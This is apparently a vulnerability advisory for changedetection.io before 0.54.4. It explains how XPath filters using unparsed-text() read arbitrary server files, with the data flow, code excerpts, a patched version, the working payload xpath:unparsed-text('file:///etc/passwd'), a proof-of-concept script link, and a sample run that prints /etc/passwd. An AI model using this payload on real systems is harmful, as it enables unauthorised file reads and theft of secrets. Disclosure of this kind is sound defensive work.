| Package | Affected versions | Patched versions |
|---|---|---|
| changedetection-io | < 0.54.4 | 0.54.4 |
| changedetection | < 0.54.4 | 0.54.4 |
The changedetection.io application allows users to specify XPath expressions as content filters via the include_filters field. These XPath expressions are processed using the elementpath library which implements XPath 3.0/3.1 specification.
XPath 3.0 includes the unparsed-text() function which can read arbitrary files from the filesystem. The application does not validate or sanitize XPath expressions to block dangerous functions, allowing an attacker to read any file accessible to the application process.
User Input (include_filters field)
↓
forms.py:ValidateCSSJSONXPATHInput() - Only validates syntax, NOT function safety
↓
Watch configuration stored in datastore
↓
Scheduled fetch triggers html_tools.py processing
↓
html_tools.py:xpath_filter() at line 213
↓
elementpath.select(root, xpath_expression, parser=XPath3Parser)
↓
XPath 3.0 unparsed-text('file:///etc/passwd') executed
↓
File contents returned as "filtered content"
↓
Stored as snapshot, viewable in UI
Affected Code File: changedetectionio/html_tools.py Function: xpath_filter() Lines: 187-220
def xpath_filter(xpath_filter, html_content, append_pretty_line_formatting=False, is_rss=False):
# ...
from elementpath import XPath3Parser # XPath 3.0 with dangerous functions
# ...
r = elementpath.select(root, xpath_filter.strip(), parser=XPath3Parser) # Line 213
Validation (forms.py):
class ValidateCSSJSONXPATHInput:
def __call__(self, form, field):
# Only checks if XPath is syntactically valid
# Does NOT check for dangerous functions like unparsed-text()
xpath:unparsed-text('file:///etc/passwd')
python script for easy reproduction: https://gist.githubusercontent.com/DhiyaneshGeek/27a6239f34023d43a0b89afb05edc5d2/raw/76d2b1f035164298d57699741eb79a8376f4ed47/poc_xpath_file_read.py
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freepython3 poc_xpath_file_read.py http://ewn9c0k01ghh7f588a7mij4y1w6iz8gb.tryneoai.com:5000 /etc/passwd
╔═══════════════════════════════════════════════════════════════╗
║ XPath 3.0 Arbitrary File Read Exploit ║
║ Target: changedetection.io ║
║ Vulnerability: unparsed-text() in XPath filters ║
╚═══════════════════════════════════════════════════════════════╝
[*] Creating new watch for https://example.com...
[+] Watch created with UUID: 5215b704-809c-4218-952b-aad9b6ee41e1
[*] Setting XPath filter to read: /etc/passwd
[+] XPath filter set successfully
[*] Triggering recheck...
[*] Waiting for check to complete...
[*] Retrieving file contents...
[+] SUCCESS! File contents retrieved:
============================================================
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
============================================================
[*] Cleaning up (deleting watch)...